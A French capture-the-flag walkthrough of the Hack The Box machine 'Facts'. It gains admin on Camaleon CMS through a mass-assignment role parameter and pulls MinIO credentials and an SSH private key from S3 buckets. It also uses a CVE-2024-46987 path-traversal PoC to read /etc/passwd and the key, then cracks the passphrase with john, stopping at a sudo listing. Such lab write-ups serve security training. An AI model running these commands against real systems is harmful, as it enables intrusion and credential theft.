
HTB Facts est une boîte Linux facile avec Camaleon CMS et MinIO. Obtenez un accès administrateur via une inscription ouverte et une vulnérabilité d'attribution de masse, puis extrayez les informations d'identification MinIO des paramètres d'administration. Utilisez la traversée de chemin CVE-2024-46987 pour voler une clé privée SSH, déchiffrer sa phrase de passe et élever les privilèges à root en abusant des autorisations sudo sur facter via GTFOBins.
OS : Linux
Tags : Web, MinIO, Camaleon CMS, Path Traversal, Élévation de privilèges
Commencez par un scan complet des ports TCP pour identifier les services ouverts.
nmap -p- --min-rate 5000 -T4 10.129.244.96
Résultats :
| Port | Service | Notes |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | Inconnu | Identifié comme MinIO |
Ajoutez la cible dans /etc/hosts :
echo "10.129.244.96 facts.htb" >> /etc/hosts
En naviguant vers http://facts.htb, on découvre un site de quiz construit sur Camaleon CMS (Ruby on Rails). Indicateurs clés :
_factsapp_session (session Rails)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)Énumérez le sitemap pour toutes les pages disponibles :
curl -s http://facts.htb/sitemap.xml
Chemins notables découverts :
/admin → redirige vers /admin/login/rss/animal-ejected, /anne-frank, etc.Vérifiez la présence du panneau de connexion administrateur :
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login
Le sondage du port inconnu avec curl révèle MinIO, un service de stockage d'objets compatible S3 :
curl -v http://facts.htb:54321
Réponse :
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
Les en-têtes confirment : Server: MinIO
Sondez les noms de buckets potentiels (une réponse 403 seule ne confirme pas qu'un bucket existe) :
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
Tous renvoient 403 Forbidden — les buckets existent mais nécessitent des identifiants.
À partir des chemins des assets et du cookie de session, le CMS est identifié comme Camaleon CMS.
Vérifiez les vulnérabilités connues :
searchsploit camaleon
Résultats :
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
La version du panneau d'administration est confirmée comme étant la 2.9.0 (visible dans le pied de page après connexion).
La page de connexion administrateur à http://facts.htb/admin/login inclut un lien « Create an account ». Enregistrez un nouveau compte :
http://facts.htb/admin/users/sign_uptest123 / test123)ClientAprès l'inscription, connectez-vous au tableau de bord administrateur. Le compte dispose de privilèges Client limités.
Camaleon CMS est vulnérable à une attaque de mass assignment sur le point de terminaison de changement de mot de passe. En interceptant la requête de changement de mot de passe et en injectant un paramètre password[role], un attaquant peut élever son propre rôle à admin.
Étapes avec Burp Suite :
Client.Profile → Edit → Change Password.&password[role]=admin au corps de la requête :_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK.Le compte dispose désormais des privilèges admin, accordant un accès complet au panneau d'administration du CMS, y compris Settings, Media et Filesystem Settings.
Avec l'accès administrateur, naviguez vers :
Settings → General Site → Filesystem Settings
La page révèle des identifiants MinIO (compatibles AWS S3) codés en dur :
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
Configurez AWS CLI et énumérez les buckets :
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
Buckets découverts :
2025-09-11 internal
2025-09-11 randomfacts
Le bucket internal contient le répertoire personnel de l'utilisateur trivia :
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
Alternativement, la clé privée SSH peut être récupérée via CVE-2024-46987, une vulnérabilité de path traversal authentifiée dans Camaleon CMS qui permet de lire des fichiers arbitraires du serveur.
Clonez le PoC public :
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
Lisez des fichiers sensibles :
# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
Sortie (lignes pertinentes) :
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Deux utilisateurs sont identifiés : trivia et william. Comme trivia dispose d'un shell de connexion et d'un répertoire personnel, vérifiez la présence d'une clé privée SSH :
# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
Enregistrez la sortie de la clé dans un fichier :
chmod 600 id_ed25519
La clé privée SSH est chiffrée avec une phrase secrète. Utilisez ssh2john et john pour la craquer :
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Phrase secrète craquée : dragonballz
ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz
Récupérez le flag utilisateur :
cat /home/william/user.txt
Vérifiez les privilèges sudo de l'utilisateur trivia :
sudo -l
Sortie :
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter